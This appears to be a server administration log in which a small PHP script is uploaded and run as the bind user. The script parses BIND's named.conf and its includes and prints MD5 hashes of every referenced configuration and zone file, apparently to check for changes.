MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 19:51:29: Establishing a connection
2026-04-24 19:51:29: 

PUT: /tmp/pkp209306

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 19:51:29: 

runuser -l bind -s /bin/bash -c '/tmp/pkp209306; rm /tmp/pkp209306'

2026-04-24 19:51:29: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
